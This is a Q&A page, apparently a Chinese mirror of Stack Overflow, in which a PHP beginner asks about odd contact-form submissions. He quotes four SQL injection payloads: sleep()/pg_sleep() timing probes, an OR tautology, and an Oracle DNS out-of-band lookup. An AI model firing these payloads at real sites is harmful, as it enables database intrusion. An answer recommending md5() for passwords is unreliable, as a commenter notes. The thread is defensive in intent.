【问题标题】:Invalid Code or Message in PHP [duplicate]PHP中的无效代码或消息[重复]
【发布时间】:2018-03-20 14:01:54
【问题描述】:

我是 PHP 开发的新手。我使用 PHP、HTML 和 Css 创建了一个网站,其中有一个联系我们页面。从最近几天开始,来自特定国家(我不想提及国家名称)的某个人正在创建支持消息并输入一些不寻常或可疑的消息。

联系人有四个字段,例如全名、电子邮件、主题和消息。 有人正在发送类似的消息

1st:
written as "Subject" & (select(0)from(select(sleep(6)))v)/*'+ 
(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/

2nd:
-1' OR 2+582-582-1=0+0+0+1 or '0gX9xp3t'='

3rd:
1iY5zL4R'));select pg_sleep(3); --

4th:
1||UTL_INADDR.get_host_address('dns.'||'sqli.032682.7775.77.a4f00.1.bxss'||'.me')

还有很多,请熟悉 PHP 的人或其他人告诉我这是怎么回事。另外请分享一些我应该采取的安全预防措施,以防止任何威胁或黑客攻击。

我已经使用 MYSQLi 构建了我的网站,以防止/减少 SQL 注入威胁。

【问题讨论】:

  • 有人试图通过 SQL 注入入侵您的网站。如果您使用准备好的语句进行查询,则无需担心。
  • 是的,我正在使用准备好的语句,例如 $db->prepare、$db->param 等,“$db”是我的数据库连接变量。一切正常,到目前为止没有任何伤害,但我很害怕。
  • @CD001 你怎么猜到的?
  • @user2945468 - 这是一个自动向您的表单发送垃圾邮件的机器人/脚本;很常见的攻击形式。可能值得一看Google Invisible reCAPTCHA
  • 为您的表单输入添加一些输入验证和清理;这将限制您收到的“垃圾”/“淘气”

标签: php sql code-injection


【解决方案1】:

确保表单安全的几种方法是:-

  1. 使用 htmlspecialchars() 防止 XSS 攻击。
  2. 通过 md5() 或其他方法对密码和其他个人信息进行加密。
  3. 使用 POST 方法而不是 GET 来传输机密信息。
  4. 请勿通过 URL 传输机密数据。
  5. 使用某些工具来防止垃圾邮件程序攻击。
  6. 如果可能,请添加验证码。

如需更多提示,请查看https://www.thoughtco.com/solutions-to-protect-web-forms-from-spam-3467469

PS:我也是PHP新手,分享一下我的想法!相信它会有所帮助。

【讨论】:

  • 除了与问题基本无关之外,您的第二点非常错误。 MD5 绝对不是一个适合散列密码的函数,如果你在任何地方使用它,你应该优先考虑替换它。相反,您应该使用 password_hash 生成一个强的、唯一加盐的哈希,然后在用户尝试登录时检索它并使用 password_verify 进行检查。见php.net/password
猜你喜欢
  • 2015-12-24
  • 2021-08-19
  • 2011-04-02
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2012-09-28
  • 2015-02-06
  • 1970-01-01
相关资源
最近更新 更多